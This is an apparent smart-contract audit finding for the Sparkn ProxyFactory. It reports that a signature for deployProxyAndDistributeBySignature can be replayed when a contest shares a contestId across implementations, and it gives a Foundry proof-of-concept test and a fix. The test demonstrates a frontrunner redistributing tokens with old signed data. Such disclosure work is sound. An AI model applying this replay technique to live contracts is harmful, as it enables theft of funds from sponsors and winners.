Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Signature Malleability for same contestId and different implementation

Summary

In case a contest is set with same contestId but different implementation, the signature used for one implementation can be used in another.

Vulnerability Details

The owner can create a contest with the same contestId but a different implementation. If the first contest created uses deployProxyAndDistributeBySignature, the same signature can be used in the second contest created with a different implementation. By using old data, the amount distributed would also be sent to the old winners.

POC

Using the file in test/integration/ProxyFactoryTest.sol

To run add this function to file and call forge test --mt testSignatureMalleability

function testSignatureMalleability() public setUpContestForJasonAndSentJpycv2Token(TEST_SIGNER) {
//@audit create second contest with same ID but different implementation
Distributor distributor2 = new Distributor(address(proxyFactory), stadiumAddress);
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
vm.startPrank(factoryAdmin);
//@audit implementation = distributor2
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 8 days, address(distributor2));
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(TEST_SIGNER, randomId, address(distributor2)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor2));
//@audit the sponsor send the tokens to new proxy
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress, 10000 ether);
vm.stopPrank();
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
vm.warp(8.01 days);
// it succeeds
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
//@audit someone can frontrun the call using old data
address frontrunner = vm.addr(0xf03);
vm.startPrank(frontrunner);
//@audit the second also succees
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor2), signature, sendingData
);
vm.stopPrank();
// after
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 2 * 9500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 2 * 500 ether);
}

Impact

Anyone can frontrun the deployProxyAndDistributeBySignature function using old data. This could result in sending the incorrect amount to different winners.

The impact of this issue is medium because the likelihood of the owner creating the same contestId is low. However, the impact can be critical.

Tools Used

Manual Review

Recommendations

It is recommended to add the implementation address to the digest

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.